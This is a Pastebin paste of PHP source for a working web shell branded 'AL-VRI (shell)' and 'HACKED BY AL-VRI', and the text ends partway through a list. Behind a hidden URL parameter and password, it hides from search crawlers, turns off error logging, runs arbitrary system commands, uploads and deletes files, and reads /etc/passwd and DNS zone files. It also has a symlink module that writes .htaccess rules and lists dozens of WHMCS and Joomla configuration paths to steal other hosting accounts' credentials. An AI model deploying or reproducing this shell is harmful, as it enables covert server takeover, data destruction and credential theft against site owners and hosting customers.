Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php ob_start(); session_start(); ?><!DOCTYPE html>
- <html lang="en">
- <head>
- <!-- Required meta tags -->
- <meta charset="utf-8">
- <meta http-equiv="X-UA-Compatible" content="IE=edge">
- <meta name="viewport" content="width=device-width, initial-scale=1">
- <!-- Bootstrap CSS -->
- <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">
- <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap-theme.min.css" >
- <!-- Optional CSS -->
- <style type="text/css">
- html,
- body {
- background: #282A36;
- color: #FFFFFF;
- font-family: "Courier New";
- font-size: 14px;
- text-align: center;
- height: 100%;
- width: 100%;
- overflow-x: hidden;
- overflow-y: hidden;
- }
- .text-hitam {
- color: #000000;
- }
- .text-putih {
- color: #FFFFFF;
- }
- .text-abu {
- color: #CFCFC2;
- }
- .text-merah {
- color: #FF5555;
- }
- .text-orange {
- color: #FFB86C;
- }
- .text-kuning {
- color: #EFFB7B;
- }
- .text-hijau {
- color: #50FA7B;
- }
- .text-biru_tua {
- color: #6272A4;
- }
- .text-biru_muda {
- color: #8BE9FD;
- }
- .text-ungu {
- color: #BD93F9;
- }
- a {
- color: #5Ad9E4;
- transition: all 0.4s;
- }
- a:hover {
- color: #FF005F;
- text-decoration: none;
- }
- input,
- select,
- textarea {
- width: 100%;
- height: 35px;
- margin: 0px;
- padding: 6px;
- border: 0px;
- font-size: 15px;
- }
- input[type="password"] {
- background-color: transparent;
- height: 20px;
- padding: 0px;
- }
- input[type="submit"] {
- background-color: #35353B;
- color: #FFFFFF;
- }
- #sidebar input[type="text"],
- #sidebar input[type="file"] {
- background-color: #282A36;
- color: #FFFFFF;
- }
- input[type="checkbox"] {
- height: 15px;
- width: 15px;
- }
- input[disabled] {
- background-color: #424348;
- }
- .table tbody tr:hover {
- background-color: #42444e;
- }
- .table thead tr th,
- .table tbody tr td {
- vertical-align: middle;
- padding: 3px;
- }
- .table thead tr th {
- text-align: center;
- }
- #sidebar {
- position: fixed;
- top: 0;
- left: 0;
- height: 100%;
- width: 300px;
- border-right: 1px solid #33333A;
- background-color: #181920;
- transition: all 0.4s;
- }
- #sidebar header {
- margin-top: 50px;
- margin-bottom: 50px;
- color: #FFFFFF;
- }
- #sidebar header h1 {
- font-weight: bold;
- }
- #sidebar .sidebar-list {
- padding-top: 10px;
- height: calc(100% - 310px);
- white-space: nowrap;
- overflow-x: auto;
- overflow-y: auto;
- }
- #sidebar .sidebar-list ul li {
- padding-left: 0px;
- font-size: 16px;
- text-align: left;
- }
- #sidebar .sidebar-list ul li a {
- display: block;
- padding: 7px;
- padding-left: 15px;
- }
- #sidebar .sidebar-list ul li a:hover {
- background-color: #3E4049;
- color: #FFFFFF;
- }
- #sidebar.active {
- width: 150px;
- }
- #main {
- margin-left: 300px;
- transition: all 0.4s;
- }
- #main.active {
- margin-left: 150px;
- }
- #navbar {
- position: fixed;
- height: 228px;
- border-bottom: 1px solid #33333A;
- border-radius: 0px;
- width: calc(100% - 300px);
- text-align: left;
- white-space: nowrap;
- background-color: #42444e;
- transition: all 0.4s;
- }
- #navbar .navbar-left {
- width: 100%;
- }
- #navbar .navbar-left button {
- position: absolute;
- margin: 93px 20px 20px 20px;
- }
- #navbar .navbar-left .container-fluid {
- margin-left: 80px;
- padding: 10px 0px 10px 0px;
- overflow-x: auto;
- overflow-y: hidden;
- }
- #navbar .navbar-left .container-fluid header {
- display: none;
- }
- #navbar.active {
- width: calc(100% - 150px);
- }
- #content {
- position: absolute;
- bottom: 0;
- height: calc(100% - 228px);
- width: calc(100% - 300px);
- padding: 10px;
- overflow-x: auto;
- transition: all 0.4s;
- }
- #content input,
- #content textarea {
- margin: 4px;
- }
- #content input[type="text"],
- #content select,
- #content textarea {
- color: #000000;
- }
- #content textarea {
- height: 200px;
- }
- #content pre img {
- width: 100%;
- }
- #content.active {
- width: calc(100% - 150px);
- }
- @media (max-width: 720px) {
- #sidebar {
- width: 90px;
- }
- #sidebar .sidebar-list {
- height: calc(100% - 349px);
- }
- #sidebar.active .sidebar-list {
- height: calc(100% - 310px);
- }
- #main {
- margin-left: 90px;
- }
- #navbar {
- width: calc(100% - 90px);
- }
- #content {
- width: calc(100% - 90px);
- }
- }
- @media (max-width: 360px) {
- #sidebar {
- margin-left: -150px;
- width: 150px;
- }
- #sidebar.active {
- margin-left: 0px;
- }
- #main {
- margin-left: 0px;
- }
- #navbar {
- height: 77px;
- width: 100%;
- }
- #navbar .navbar-left button {
- margin-top: 20px;
- transition: all 0.4s;
- }
- #navbar .navbar-left .container-fluid {
- height: 77px;
- text-align: center;
- overflow-x: hidden;
- transition: all 0.4s;
- }
- #navbar .navbar-left .container-fluid header {
- display: block;
- transition: all 0.4s;
- }
- #navbar .navbar-left .container-fluid header h1 {
- margin-top: 10px;
- font-weight: bold;
- }
- #navbar .navbar-left .container-fluid div {
- display: none;
- }
- #navbar.active {
- height: 228px;
- }
- #navbar.active .navbar-left .container-fluid {
- height: 228px;
- overflow-x: auto;
- }
- #navbar.active .navbar-left .container-fluid header {
- display: none;
- }
- #navbar.active .navbar-left .container-fluid div {
- display: block;
- }
- #navbar.active .navbar-left button {
- margin-top: 93px;
- }
- #content {
- height: calc(100% - 77px);
- width: 100%;
- }
- #content.active {
- height: calc(100% - 228px);
- }
- }
- </style>
- <?php
- if (isset($_GET["al"]) && $_GET["al"] == "vri") {
- error_reporting(0);
- set_time_limit(0);
- if(version_compare(PHP_VERSION, "5.3.0", "<")) {
- @set_magic_quotes_runtime(0);
- }
- @clearstatcache();
- @ini_set("error_log",NULL);
- @ini_set("log_errors",0);
- @ini_set("max_execution_time",0);
- @ini_set("output_buffering",0);
- @ini_set("display_errors", 0);
- $password = "1e7709da5a292b3021adf92e1406c36d";
- if(!empty($_SERVER["HTTP_USER_AGENT"])) {
- $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
- if(preg_match("/" . implode("|", $userAgents) . "/i", $_SERVER["HTTP_USER_AGENT"])) {
- header("HTTP/1.0 404 Not Found");
- exit;
- }
- }
- echo "<title>".(isset($_SERVER["HTTPS"]) ? "https" : "http")."://".$_SERVER["HTTP_HOST"]." — AL-VRI (shell)</title>";
- }
- else {
- echo "<title>HACKED BY AL-VRI — INDONESIA PEOPLE</title>";
- } ?>
- <link href="data:image/ico;base64,AAABAAEAEBAAAAEAIABoBAAAFgAAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALAAAAE4AAABNAAAATQAAAE0AAABNAAAATQAAAE0AAABNAAAATQAAAE0AAABNAAAATQAAAE0AAABPAAAAH/r/9On///////////////////////////////////////////////////////////////////////////n/8sv9//vn///////////////////////////////////////////////////////////////////////////8//jM/v/95v///////////////////////////////////////////////////////////////////////////f/6yv///+X//////////////////////////////////////////////////////////////////////////////cj//v7l///////////////////////////////////////////////////////////////////////////////I/v/45P/////////+/////v////7////+/////v////7////+/////v////7////+/////v////7//////v/4xwAA1eUTAND/GADP/xQAzv8NAMz/CwDM/wwAzP8MAMz/DADM/wwAzP8MAMz/DADM/woAzP8GAMz/AADP/wAA68g1HdvlOyXW/z0o1f8+KtX/PyvV/zwo1P84JNL/NCHR/zMg0f8zINH/MyDR/zMg0f8yH9H/MB3R/y8b1P81GvHINh7b5T4n1/9AKtb/QSzW/0Et1v9CLtb/Qi7W/0Iu1v9BLdb/PyvV/z4q1f8+KtX/PynV/z8p1f8/J9n/Oh/zyDce3OVBKdn/QizX/0Mt1/9ELtf/RC7X/0Qv1/9EL9f/RS/X/0Uv1/9FL9f/RC7X/0Mu1/9CK9b/QSja/zgf88g3HtzmQCXa/0Eo2P9CKtj/QirY/0Mr2P9DK9j/QyvY/0Mr2P9DK9j/QivY/0Iq2P9CKdj/QSfY/0El3P84H/PJNiTX4mJS3/9gUN3/YVHd/2FR3f9hUd3/YVHd/2FR3f9hUd3/YVHd/2FR3f9hUd3/YVHd/2BQ3f9gT+D/LxnywgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//wAA//8AAA==" rel="icon" type="image/x-icon">
- </head>
- <body><?php
- if (isset($_GET["al"]) && $_GET["al"] == "vri") {
- function login() { ?>
- <center>
- <table>
- <tr style="text-align: left;">
- <td style="width: 90px;">SYSTEM</td>
- <td>:</td>
- <td>
- <span class="text-hijau"><?= @php_uname() ?></span>
- </td>
- </tr>
- <tr style="text-align: left;">
- <td>SOFTWARE</td>
- <td>:</td>
- <td>
- <span class="text-hijau"><?= $_SERVER["SERVER_SOFTWARE"] ?></span>
- </td>
- </tr>
- <tr style="text-align: left;">
- <td>DIRECTORY</td>
- <td>:</td>
- <td>
- <span class="text-hijau"><?= "".$_SERVER["DOCUMENT_ROOT"].$_SERVER["PHP_SELF"]."" ?></span>
- </td>
- </tr>
- <tr style="text-align: left;">
- <td>PASSWORD</td>
- <td>:</td>
- <td>
- <form method="POST">
- <input type="password" class="text-center" name="password">
- </form>
- </td>
- </tr>
- </table>
- </center><?php
- if (!empty(($_POST["password"]))) {
- echo "
- <span class=\"text-merah\">Enter the correct password!</span>";
- } ?>
- </body>
- </html><?php
- @exit();
- }
- if (!isset($_SESSION["login"])) {
- if (
- (
- (isset($_POST["password"]) && !empty($_POST["password"]))
- && !empty($password)
- && $password == md5($_POST["password"])
- )
- || empty($password)
- ) {
- $_SESSION["login"] = $_SERVER["REMOTE_ADDR"];
- }
- else {
- login();
- }
- }
- function color($string, $option=NULL, $type=NULL, $class_s=NULL) {
- if (
- $option == "hitam" ||
- $option == "putih" ||
- $option == "abu" ||
- $option == "merah" ||
- $option == "orange" ||
- $option == "kuning" ||
- $option == "hijau" ||
- $option == "biru_tua" ||
- $option == "biru_muda" ||
- $option == "ungu"
- ) {
- $x = $option;
- }
- else {
- $x = "hitam";
- }
- if (
- $type == "bold" ||
- $type == "italic"
- ) {
- $y = " text-".$type;
- }
- else {
- $y = "";
- }
- if (!empty($class_s)) {
- $z = " ".$class_s;
- }
- else {
- $z = "";
- }
- return "<span class=\"text-".$x.$y.$z."\">".$string."</span>";
- }
- function path() {
- if (isset($_GET["directory"])) {
- if (is_dir($_GET["directory"])) {
- $directory = str_replace("\\", "/", $_GET["directory"]);
- }
- else {
- $directory = $_GET["directory"];
- }
- }
- else {
- $directory = str_replace("\\", "/", getcwd());
- }
- @chdir($directory);
- return $directory;
- }
- function OS() {
- return (substr(strtoupper(PHP_OS), 0, 3) == "WIN") ? "Windows" : "Linux";
- }
- function windisk() {
- $letters = "";
- $v = explode("\\", path());
- $v = $v[0];
- foreach(range("A", "Z") as $letter) {
- $bool = $isdiskette = in_array($letter, array("A"));
- if(!$bool) $bool = is_dir("$letter:\\");
- if($bool) {
- $letters .= "[ <a href='?dir=$letter:\\'".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">";
- if($letter.":" != $v) {
- $letters .= $letter;
- }
- else {
- $letters .= color(1, 2, $letter);
- }
- $letters .= "</a> ]";
- }
- }
- if(!empty($letters)) {
- print "Detected Drives $letters<br>";
- }
- if(count($quicklaunch) > 0) {
- foreach($quicklaunch as $item) {
- $v = realpath(path(). "..");
- if(empty($v)) {
- $a = explode(DIRECTORY_SEPARATOR,path());
- unset($a[count($a)-2]);
- $v = join(DIRECTORY_SEPARATOR, $a);
- }
- print "<a href='".$item[1]."'>".$item[0]."</a>";
- }
- }
- }
- function command($cmd) {
- if (function_exists("system")) {
- @ob_start();
- @system($cmd);
- $output = @ob_get_contents();
- @ob_end_clean();
- }
- elseif (function_exists("exec")) {
- @exec($cmd,$results);
- $output = "";
- foreach($results as $result) {
- $output .= $result;
- }
- }
- elseif (function_exists("passthru")) {
- @ob_start();
- @passthru($cmd);
- $output = @ob_get_contents();
- @ob_end_clean();
- }
- elseif (function_exists("shell_exec")) {
- $output = @shell_exec($cmd);
- }
- else {
- $output = "";
- }
- return $output;
- }
- function size($data, $option=NULL) {
- if (is_dir($data)) {
- if ($option == "total") {
- $x = disk_total_space($data);
- }
- elseif ($option == "free") {
- $x = disk_free_space($data);
- }
- elseif ($option == "used") {
- $x = disk_total_space($data)-disk_free_space($data);
- }
- else {
- $x = disk_total_space($data);
- }
- if ($x >= 1073741824) {
- $y = sprintf("%1.2f",$x/1073741824)." GB";
- }
- elseif ($data >= 1048576) {
- $y = sprintf("%1.2f",$x/1048576)." MB";
- }
- elseif ($data >= 1024) {
- $y = sprintf("%1.2f",$x/1024)." KB";
- }
- elseif ($x >= 0) {
- $y = $x." B";
- }
- else {
- $y = color("NONE", "merah");
- }
- }
- elseif (is_file($data)) {
- $x = filesize($data);
- if ($x >= 1073741824) {
- $y = round(($x/1073741824), 2)." GB";
- }
- elseif ($x >= 1048576) {
- $y = round(($x/1048576), 2)." MB";
- }
- elseif ($x >= 1024) {
- $y = round(($x/1024), 2)." KB";
- }
- elseif ($x >= 0) {
- $y = round($x, 2)." B";
- }
- else {
- $y = color("NONE", "merah");
- }
- }
- else {
- $y = "Undefined";
- }
- return $y;
- }
- function permission($data, $option=NULL) {
- if (is_dir($data) || is_file($data)) {
- $x = fileperms($data);
- if (($x & 0xC000) == 0xC000) {
- $info = 's'; // Socket
- }
- elseif (($x & 0xA000) == 0xA000) {
- $info = 'l'; // Symbolic Link
- }
- elseif (($x & 0x8000) == 0x8000) {
- $info = '-'; // Regular
- }
- elseif (($x & 0x6000) == 0x6000) {
- $info = 'b'; // Block special
- }
- elseif (($x & 0x4000) == 0x4000) {
- $info = 'd'; // Directory
- }
- elseif (($x & 0x2000) == 0x2000) {
- $info = 'c'; // Character special
- }
- elseif (($x & 0x1000) == 0x1000) {
- $info = 'p'; // FIFO pipe
- }
- else {
- $info = 'u'; // Unknown
- }
- // Owner
- $info .= (($x & 0x0100) ? 'r' : '-');
- $info .= (($x & 0x0080) ? 'w' : '-');
- $info .= (($x & 0x0040) ?
- (($x & 0x0800) ? 's' : 'x' ) :
- (($x & 0x0800) ? 'S' : '-'));
- // Group
- $info .= (($x & 0x0020) ? 'r' : '-');
- $info .= (($x & 0x0010) ? 'w' : '-');
- $info .= (($x & 0x0008) ?
- (($x & 0x0400) ? 's' : 'x' ) :
- (($x & 0x0400) ? 'S' : '-'));
- // World
- $info .= (($x & 0x0004) ? 'r' : '-');
- $info .= (($x & 0x0002) ? 'w' : '-');
- $info .= (($x & 0x0001) ?
- (($x & 0x0200) ? 't' : 'x' ) :
- (($x & 0x0200) ? 'T' : '-'));
- }
- else {
- $info = "u---------";
- }
- if ($option == "color") {
- $info = (!is_writable($data)) ? color($info, "merah") : color($info, "hijau");
- }
- return $info;
- }
- function usergroup() {
- if(!function_exists("posix_getegid")) {
- $user["name"] = @get_current_user();
- $user["uid"] = @getmyuid();
- $user["gid"] = @getmygid();
- $user["group"] = "?";
- }
- else {
- $uid = @posix_getpwuid(posix_geteuid());
- $gid = @posix_getgrgid(posix_getegid());
- $user["name"] = $uid["name"];
- $user["uid"] = $uid["uid"];
- $user["group"] = $gid["name"];
- $user["gid"] = $gid["gid"];
- }
- return (object) $user;
- }
- function delete($target) {
- if (is_dir($target)) {
- $opendir = @opendir($target);
- while (($readdir = @readdir($opendir)) != false) {
- if (($readdir != ".") && ($readdir != "..")) {
- delete($target."/".$readdir);
- }
- }
- @rmdir($target);
- }
- elseif (is_file($target)) {
- @unlink($target);
- }
- }
- $keterangan = array(
- "sistem" => @php_uname(),
- "software" => $_SERVER["SERVER_SOFTWARE"],
- "php" => @phpversion()." on ".php_sapi_name(),
- "ip" => array(
- "server" => (!$_SERVER["SERVER_ADDR"]) ? gethostbyname($_SERVER["HTTP_HOST"]) : $_SERVER["SERVER_ADDR"],
- "your" => $_SERVER["REMOTE_ADDR"]
- ),
- "admin" => $_SERVER["SERVER_ADMIN"],
- "hdd" => array(
- "used" => size("/", "used"),
- "total" => size("/", "total"),
- "free" => size("/", "free")
- ),
- "user" => array(
- "name" => usergroup()->name,
- "uid" => usergroup()->uid,
- "group" => usergroup()->group,
- "gid" => usergroup()->gid
- ),
- "safemode" => @ini_get(strtoupper("safe_mode")) == "ON" ? color("ON", "merah") : color("OFF", "kuning"),
- "library" => array(
- "mysql" => @function_exists("mysql_connect") ? color("ON", "kuning") : color("OFF", "merah"),
- "mssql" => @function_exists("mssql_connect") ? color("ON", "kuning") : color("OFF", "merah"),
- "postgresql" => @function_exists("pg_connect") ? color("ON", "kuning") : color("OFF", "merah"),
- "oracle" => @function_exists("oci_connect") ? color("ON", "kuning") : color("OFF", "merah"),
- "python" => @command("python --help") ? color("ON", "kuning") : color("OFF", "merah"),
- "perl" => @command("perl --help") ? color("ON", "kuning") : color("OFF", "merah"),
- "curl" => @function_exists("curl_version") ? color("ON", "kuning") : color("OFF", "merah"),
- "wget" => @command("wget --help") ? color("ON", "kuning") : color("OFF", "merah")
- ),
- "dfunction" => !empty($disable_functions = @ini_get("disable_functions")) ? color($disable_functions, "merah") : color("NONE", "kuning")
- ); ?>
- <div id="sidebar">
- <div class="sidebar-header">
- <header>
- <h1>AL-VRI</h1>
- <a href="?al=vri&log=out">LOGOUT</a>
- </header>
- <form method="POST" enctype="multipart/form-data" action="?al=vri&directory=<?= path() ?>&do=upload">
- <input type="file" name="filetoupload" required>
- <input type="submit" value="upload">
- </form>
- <form method="POST" action="?al=vri&directory=<?= path() ?>&do=command">
- <input type="text" name="command" placeholder="Command..." value="<?= !empty($_POST["command"]) ? $_POST["command"] : "" ?>" required>
- <input type="submit" value="command">
- </form>
- </div>
- <div class="sidebar-list">
- <ul class="list-unstyled">
- <li>
- <a href="?al=vri">BERANDA</a>
- </li>
- <!-- START | TAMBAHAN MENU -->
- <li>
- <a href="?al=vri&directory=<?= path() ?>&do=symlink">SYMLINK</a>
- </li>
- <!-- <li>
- <a href="?al=vri&directory=&do=[nama menu]">[nama menu]</a>
- </li> -->
- <!-- FINISH | TAMBAHAN MENU -->
- </ul>
- </div>
- </div>
- <div id="main">
- <div id="navbar" class="navbar">
- <div class="navbar-left">
- <button type="button" id="toggle-sidebar" class="btn btn-info navbar-btn">
- <i class="glyphicon glyphicon-align-left"></i>
- </button>
- <div class="container-fluid">
- <header>
- <h1>AL-VRI</h2>
- </header>
- <div>
- SYSTEM: <?= color($keterangan["sistem"], "hijau") ?>
- </div>
- <div>
- SOFTWARE: <?= color($keterangan["software"], "hijau") ?>
- </div>
- <div>
- PHP: <?= color($keterangan["php"], "hijau") ?>
- </div>
- <div>
- YOUR IP: <?= color($keterangan["ip"]["your"], "hijau") ?> | SERVER IP: <?= color($keterangan["ip"]["server"], "hijau") ?> | ADMIN: <?= color($keterangan["admin"], "hijau") ?>
- </div>
- <div>
- HDD: <?= color($keterangan["hdd"]["used"], "hijau") ?>/<?= color($keterangan["hdd"]["total"], "hijau") ?> | FREE : <?= color($keterangan["hdd"]["free"], "hijau") ?>
- </div>
- <div>
- USER: <?= color($keterangan["user"]["name"], "hijau") ?>/<?= color($keterangan["user"]["uid"], "hijau") ?> | GROUP: <?= color($keterangan["user"]["group"], "hijau") ?>/<?= color($keterangan["user"]["gid"], "hijau") ?>
- </div>
- <div>
- SAFEMODE: <?= $keterangan["safemode"] ?>
- </div>
- <div>
- MySQL: <?= $keterangan["library"]["mysql"] ?> | MSSQL: <?= $keterangan["library"]["mssql"] ?> | PostgreSQL: <?= $keterangan["library"]["postgresql"] ?> | Oracle: <?= $keterangan["library"]["oracle"] ?> | Python: <?= $keterangan["library"]["python"] ?> | Perl: <?= $keterangan["library"]["perl"] ?> | CURL: <?= $keterangan["library"]["curl"] ?> | WGET: <?= $keterangan["library"]["wget"] ?>
- </div>
- <div>
- DISABLE FUNCITION: <?= $keterangan["dfunction"] ?>
- </div>
- <div>
- [ <?= permission(path(), "color") ?> ]
- <?php
- if (is_dir(path())) {
- $keterangan["directory"] = explode("/", path());
- if (count($keterangan["directory"]) != 1) {
- $keterangan["directory"]["0"] = "/";
- }
- foreach($keterangan["directory"] as $key => $index) {
- echo " <a href=\"?al=vri&directory=";
- for ($i=0; $i<=$key ; $i++) {
- if ($key == 0) {
- echo $keterangan["directory"][$i];
- }
- else {
- if ($i != 0) {
- echo $keterangan["directory"][$i];
- }
- }
- if($i != $key) {
- echo "/";
- }
- }
- echo "\">".$index;
- if ($key != 0 && path() != "/") {
- echo "/";
- }
- echo "</a>";
- }
- echo (OS() === "Windows") ? windisk() : "";
- }
- else {
- echo color("Directory ".$_GET["directory"]." is not exists.", "merah");
- } ?>
- </div>
- </div>
- </div>
- </div>
- <div id="content" class="content">
- <?php
- if (isset($_GET["log"]) && $_GET["log"] == "out") {
- unset($_SESSION["login"]);
- session_destroy();
- header("Location: ?al=vri");
- }
- elseif (isset($_GET["do"]) && !empty($_GET["do"])) {
- if (is_dir($_GET["directory"])) {
- $do = $_GET["do"];
- $directory = $_GET["directory"];
- if ($do == "command") {
- if (!empty($_POST["command"])) {
- $perintah = $_POST["command"];
- }
- else {
- $perintah = "";
- }
- ?><textarea readonly><?= command($perintah) ?></textarea>
- <form method="POST" action="?al=vri&directory=<?= $directory ?>&do=command">
- <input type="text" name="command" placeholder="Command..." value="<?= $perintah ?>" required>
- <input type="submit" value="Send">
- </form><?php
- }
- elseif ($do == "upload") {
- ?><form method="POST" enctype="multipart/form-data" action="?al=vri&directory=<?= $directory ?>&do=upload">
- <input type="file" name="filetoupload" required>
- <input type="submit" value="upload">
- </form><?php
- if (!empty($_FILES["filetoupload"])) {
- if(@copy($_FILES["filetoupload"]["tmp_name"], $directory."/".$_FILES["filetoupload"]["name"])) {
- echo "
- ".color($directory."/".$_FILES["filetoupload"]["name"]." uploaded successfully", "kuning");
- }
- else {
- echo "
- ".color($directory."/".$_FILES["filetoupload"]["name"]." could not be uploaded", "merah");
- }
- }
- else {
- echo "
- ".color("No action", "putih");
- }
- }
- //START | TAMBAHAN MENU
- elseif ($do == "symlink") {
- ?><form method="POST">
- <div class="container-fluid">
- <div class="col-sm-4">
- <span class="text-nowrap">
- <span class="text-kuning">"</span>
- <span class="text-merah">.</span>
- <span class="text-abu">$target</span>
- <span class="text-merah">.</span>
- <span class="text-kuning">"</span>
- </span>
- <textarea name="targets" required><?php
- if(!empty($_POST["targets"])) {
- echo $_POST["targets"];
- }
- else {
- if(@file("/etc/passwd") != "") {
- $passwds = @file("/etc/passwd");
- }
- else {
- $cat_passwd = @system("cat /etc/passwd");
- $passwds = explode("\n", $cat_passwd);
- }
- foreach($passwds as $passwd) {
- preg_match_all("/\/(.+):/", $passwd, $target);
- $target = str_replace(":", "", $target[0][0]);
- if (strlen(trim($target)) > 4) {
- echo "\n".$target;
- }
- }
- }
- ?></textarea>
- </div>
- <div class="col-sm-4">
- <span class="text-nowrap">
- <span class="text-kuning">"</span>
- <span class="text-merah">.</span>
- <span class="text-abu">$htaccess</span>
- <span class="text-merah">.</span>
- <span class="text-kuning">"</span>
- </span>
- <textarea name="htaccess" required><?php
- if (!empty($_POST["htaccess"])) {
- echo $_POST["htaccess"];
- }
- elseif (preg_match("/Litespeed/i", "".$_SERVER["SERVER_SOFTWARE"]."")) {
- echo "Options +FollowSymLinks
- DirectoryIndex AL-VRI.indonesiapeople
- RemoveHandler .php
- AddType application/octet-stream .php";
- }
- elseif (preg_match("/Apache/i", "".$_SERVER["SERVER_SOFTWARE"]."")) {
- echo "Options Indexes FollowSymLinks
- DirectoryIndex AL-VRI.indonesiapeople
- AddType txt .php
- AddHandler txt .php";
- }
- else {
- echo "OPTIONS Indexes FollowSymlinks SymlinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI
- Options Indexes FollowSymlinks
- ForceType text/plain
- AddType text/plain .php
- AddType text/plain .html
- AddType text/html .shtml
- AddType txt .php
- AddHandler server-parsed .php
- AddHandler txt .php
- AddHandler txt .html
- AddHandler txt .shtml
- Options All
- Options All
- ReadmeName AL-VRI.indonesiapeople";
- }
- ?></textarea>
- </div>
- <div class="col-sm-4">
- <span class="text-kuning">INFORMATIONS</span>
- <textarea rows="15" cols="50"><?php
- if(@file("/etc/named.conf") != "") {
- echo "\n[ SITE - USER | @file(\"/etc/named.conf\") ]\n";
- foreach(@file("/etc/named.conf") as $sites){
- if(eregi("zone", $sites)) {
- preg_match_all("/zone \"(.*)\"/", $sites, $site);
- if(strlen(trim($site[1][0])) > 2) {
- $user = posix_getpwuid(@fileowner("/etc/valiases/".$site[1][0]));
- echo "\n".$site[1][0]." | ".$user["name"];
- }
- }
- }
- echo "\n\n\n";
- }
- if(@file("/etc/passwd") != "") {
- echo "\n[ USER | @file(\"/etc/passwd\") ]\n";
- foreach(@file("/etc/passwd") as $passwd) {
- $user = explode(":", $passwd);
- echo "\n".$user[0];
- }
- echo "\n\n\n";
- }
- if(is_dir("/var/named")) {
- echo "\n[ SITE | ls /var/named ]\n";
- foreach(array_diff(scandir("/var/named"), array(".", "..")) as $site) {
- if(preg_match("/db/i", $site)) {
- echo "\n".substr($site, 0, -3);
- }
- }
- echo "\n\n\n";
- }
- ?></textarea>
- </div>
- <div>
- <div class="col-sm-12 text-nowrap">
- <span class="text-abu">$targets</span>
- <span class="text-merah">.</span>
- <span class="text-kuning">"/"</span>
- <span class="text-merah">.</span>
- <input type="text" name="nextroot" style="width: 325px; text-align: center;" value="<?= !empty($_POST["nextroot"]) ? $_POST["nextroot"] : "" ?>" placeholder="public_html; httpdocs; htdocs; etc;">
- <span class="text-merah">.</span>
- <span class="text-kuning">"/"</span>
- <span class="text-merah">.</span>
- <span class="text-abu">$configs</span>
- </div>
- <div class="col-sm-12">
- <span class="text-abu">Example :</span>
- <span class="text-hijau">/home/alvri/public_html/</span>
- <span class="text-abu">=></span>
- <span class="text-merah">public_html</span>
- </div>
- <div class="col-sm-12">
- <input type="submit" name="submit" value="Go">
- </div>
- </form>
- <div class="text-left">
- <?php
- if (!empty($_POST["submit"])) {
- echo "<span class=\"text-abu\">[ START ]</span>";
- $targets = explode("\n", $_POST["targets"]);
- $nextroot = trim($_POST["nextroot"]);
- $htaccess = $_POST["htaccess"];
- $server = gethostbyname($_SERVER["HTTP_HOST"]);
- $configs = array(
- "account/configuration.php" => "---WHMCS",
- "accounts/configuration.php" => "---WHMCS",
- "auto/configuration.php" => "---WHMCS",
- "autobuy/configuration.php" => "---WHMCS",
- "bill/configuration.php" => "---WHMCS",
- "billing/configuration.php" => "---WHMCS",
- "buy/configuration.php" => "---WHMCS",
- "cart/configuration.php" => "---WHMCS",
- "central/configuration.php" => "---WHMCS",
- "checkout/configuration.php" => "---WHMCS",
- "client/configuration.php" => "---WHMCS",
- "client-area/configuration.php" => "---WHMCS",
- "client-zone/configuration.php" => "---WHMCS",
- "clientarea/configuration.php" => "---WHMCS",
- "cliente/configuration.php" => "---WHMCS",
- "clientes/configuration.php" => "---WHMCS",
- "clienti/configuration.php" => "---WHMCS",
- "clients/configuration.php" => "---WHMCS",
- "clients-area/configuration.php" => "---WHMCS",
- "clientsarea/configuration.php" => "---WHMCS",
- "clientsupport/configuration.php" => "---WHMCS",
- "clientzone/configuration.php" => "---WHMCS",
- "cpanel/configuration.php" => "---WHMCS",
- "company/configuration.php" => "---WHMCS",
- "configuration.php" => "---JOOMLA-or-WHMCS",
- "core/configuration.php" => "---WHMCS",
- "customer/configuration.php" => "---WHMCS",
- "customers/configuration.php" => "---WHMCS",
- "finance/configuration.php" => "---WHMCS",
- "financeiro/configuration.php" => "---WHMCS",
- "go/configuration.php" => "---WHMCS",
- "host/configuration.php" => "---WHMCS",
- "hosts/configuration.php" => "---WHMCS",
- "hosting/configuration.php" => "---WHMCS",
- "hostings/configuration.php" => "---WHMCS",
- "klien/configuration.php" => "---WHMCS",
- "manage/configuration.php" => "---WHMCS",
- "manager/configuration.php" => "---WHMCS",
- "member/configuration.php" => "---WHMCS",
- "members/configuration.php" => "---WHMCS",
- "my/configuration.php" => "---WHMCS",
- "my-account/configuration.php" => "---WHMCS",
- "my-account/client/configuration.php" => "---WHMCS",
- "my-accounts/configuration.php" => "---WHMCS",
- "my-accounts/client/configuration.php" => "---WHMCS",
- "myaccount/configuration.php" => "---WHMCS",
- "myaccounts/configuration.php" => "---WHMCS",
- "myshop/configuration.php" => "---WHMCS",
- "order/configuration.php" => "---WHMCS",
- "orders/configuration.php" => "---WHMCS",
- "pay/configuration.php" => "---WHMCS",
- "payment/configuration.php" => "---WHMCS",
- "orders/configuration.php" => "---WHMCS",
- "painel/configuration.php" => "---WHMCS",
- "panel/configuration.php" => "---WHMCS",
- "panels/configuration.php" => "---WHMCS",
- "portal/configuration.php" => "---WHMCS",
- "portals/configuration.php" => "---WHMCS",
- "purchase/configuration.php" => "---WHMCS",
- "sale/configuration.php" => "---WHMCS",
- "secure/configuration.php" => "---WHMCS",
- "secure/whm/configuration.php" => "---WHMCS",
- "secure/whmcs/configuration.php" => "---WHMCS",
- "shop/configuration.php" => "---WHMCS",
- "shopping/configuration.php" => "---WHMCS",
